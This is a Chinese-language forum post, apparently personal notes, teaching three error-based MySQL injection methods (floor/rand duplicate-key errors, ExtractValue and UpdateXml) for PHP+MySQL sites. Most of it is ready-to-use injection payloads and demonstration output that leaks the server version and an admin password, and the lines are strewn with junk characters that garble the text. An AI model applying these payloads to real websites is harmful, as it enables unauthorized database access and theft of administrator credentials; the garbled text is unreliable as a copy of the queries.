找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2312|回复: 0
打印 上一主题 下一主题

关于Mysql注入过程中的三种报错方式

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:28:51 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。+ m. F; K" z  H/ G
实际测试环境:
2 J7 F; N9 d$ f9 E! l( p( t6 w2 S( f2 g* i
: S4 p$ m# v, K0 d
mysql> show tables;6 D5 ?3 O  T* ^
+----------------+6 V# A+ F# e+ u( d; G' J
| Tables_in_test |
) \$ }. \4 K$ `/ P6 F+----------------+, x8 k# h6 a" G$ X
| admin          |
/ {2 }  X( h& S( w% s4 |5 A| article        |
# Z4 `( E8 r1 B3 f6 |1 `+----------------+& w7 x2 M' w0 b' O/ i+ ^$ P/ |
+ Z' ?) T: ?# @( @

- i8 R  Y+ k7 p2 {' b* D
" M% p# Z/ n8 K% E3 \mysql> describe admin;, b! ~# S" L7 v
+-------+------------------+------+-----+---------+----------------+  S6 t. r: Z6 X8 G
| Field | Type             | Null | Key | Default | Extra          |+ p* Z: C7 g! Y2 Y2 t6 |, I
+-------+------------------+------+-----+---------+----------------+8 q, U/ J! c2 M) s
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |; W7 U) ]: s+ o' H
| user  | varchar(50)      | NO   |     | NULL    |                |! i' |1 K% `7 t
| pass  | varchar(50)      | NO   |     | NULL    |                |; T' Q8 V3 A/ W& t  @
+-------+------------------+------+-----+---------+----------------+
" f* m* Z- u+ ^3 ^9 _8 H0 c ) a& F/ v, v7 P# ]# ]" c' y

. q) f& O- a# s3 R7 N5 A( K0 z
1 o# F( ]% o1 r% {( D: y! z7 v+ Jmysql> describe article;& G5 m1 O- A& d. w' b5 J% A
+---------+------------------+------+-----+---------+----------------+
' h( [+ [; E" ?| Field   | Type             | Null | Key | Default | Extra          |
% x. o, P/ l$ N% w- Y; J+---------+------------------+------+-----+---------+----------------+
7 n; ]6 I6 a$ D| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
+ s( V$ Q6 D3 A| title   | varchar(50)      | NO   |     | NULL    |                |2 f  @& z; r" N: X1 Y. j$ K
| content | varchar(50)      | NO   |     | NULL    |                |9 y7 F0 ?4 H9 u& B! b& ]
+---------+------------------+------+-----+---------+----------------+6 _; k' r0 ^/ s) P- S& b/ d
1、通过floor报错
# f; {9 P; f. ^7 ?* U# D- {  p可以通过如下一些利用代码# R$ W0 \5 g' Z

9 E* a& o# Z" E1 K9 e! m
/ L" v% f5 A, }; x5 C! wand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
* ?& W) K9 }' P$ ?0 k9 Pfrom information_schema.tables group by x)a);+ _1 U$ Z$ \; ^1 G9 q

5 A2 R" p: @* a6 s
- _8 r- J6 h# b5 ^, q8 q% zand (select count(*) from (select 1 union select null union select !1)x, K- h$ `3 D* i. K" L) U1 j
group by concat((select table_name from information_schema.tables limit 1),# u$ A, v# ~* i/ H. R; y* w
floor(rand(0)*2)));
+ s  x- r8 w9 {$ O! n& q举例如下:
5 @4 h8 u: f7 S& r/ Z首先进行正常查询:8 F" g; A: ]1 x# r& }+ x; E3 N% B) c

& k; [9 o/ r8 o$ ^9 u2 m% s. Umysql> select * from article where id = 1;/ B3 M1 U4 _0 N+ b
+----+-------+---------++ v9 \& w! Z+ F) k( M
| id | title | content |
5 d; E' U9 Z* Q: |, ]1 j$ @+----+-------+---------+
0 z( R: `! c) l, X, N5 O3 C|  1 | test  | do it   |
. M# c) F2 Y+ Y7 c0 x4 }. w+----+-------+---------+5 E/ Y2 M! `5 `3 y5 J4 |8 j
假如id输入存在注入的话,可以通过如下语句进行报错。
) p, X( S* u6 W
) D; b1 m" E8 D8 G$ c- x) t0 r7 j
' j- a" Y) a8 c8 N0 }1 l$ umysql> select * from article where id = 1 and (select 1 from
1 `7 ~* s, H. Z4 h3 o8 Q(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
8 U! |+ g& e1 P! ]* t+ f7 I2 M& ~ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
7 L3 x# Y, u( Y  W" F3 U5 U0 @可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。- i- u1 H* j* P) z
例如我们需要查询管理员用户名和密码:
. m! M# f3 T+ I+ l' |) s" O. l# e  wMethod1:' s" K. C& N/ k  `% G
- x) e0 z  f+ \- F5 J5 Y8 n  o

9 r: |$ c9 H% Z' @7 v9 Smysql> select * from article where id = 1 and (select 1 from
2 G8 X7 |5 Z* b. C(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x  B: K) L; l9 n- K2 w' x/ S' d
from information_schema.tables group by x)a);+ v% x5 h3 V  o8 ~2 F
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
$ N4 @5 t8 a! H2 F% `- SMethod2:2 C: H1 z; p" j6 ]

% w& G0 b0 w0 F6 ?4 o   C6 n$ y( k3 U, {% {& _$ g
mysql> select * from article where id = 1 and (select count(*)8 Y& S& G: D% G
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
6 r; W6 L+ l1 s& ^, Ufloor(rand(0)*2)));2 v) _2 l2 v  T
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
1 q0 W7 k$ t8 t9 q2、ExtractValue
# B# X( k! U0 o- \7 T测试语句如下! d4 D) V2 k. h
7 W0 |/ ?1 K5 q7 u8 c

5 r, c. C- q  Z  J3 R: k$ e3 Oand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
* F8 U9 V: ^% c$ `0 v实际测试过程
; @$ Q2 s" u- a3 O; E
8 v2 k( \, S: D2 m# \0 y" c " u( ^7 u" w$ L: `; q, A' m( G' H3 u
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
# O: |: ~: n- W1 g' d1 x5 B(select pass from admin limit 1)));--
- G5 s: @- Q! n) PERROR 1105 (HY000): XPATH syntax error: '\admin888'
; L3 h, R' T- X" a4 c/ D+ N: X3、UpdateXml7 }* m  V2 K: w1 R$ A$ M' r  A
测试语句8 M7 {- }, g9 q8 `! x" ^. G

3 j' I! a2 m4 U) Z& W
9 p6 V% y9 R/ G, k; P2 w) E* Rand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
2 K  C# \# Z5 c" F# h' K实际测试过程% D4 j* K, t2 t

$ g  Z; `: I5 L  c
: {1 o; r1 ^" dmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
( O. @! G/ E8 j7 |9 B(select pass from admin limit 1),0x5e24),1));
3 L+ Q; ^# r4 q+ C: x8 L" OERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
% b- I3 X0 @; v6 M- d# iAll, thanks foreign guys.
8 p( N/ ^( G* a1 I- j
* G. `# j' F2 [1 L" S+ z7 j- o8 x* Q: i% c- v. h7 S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表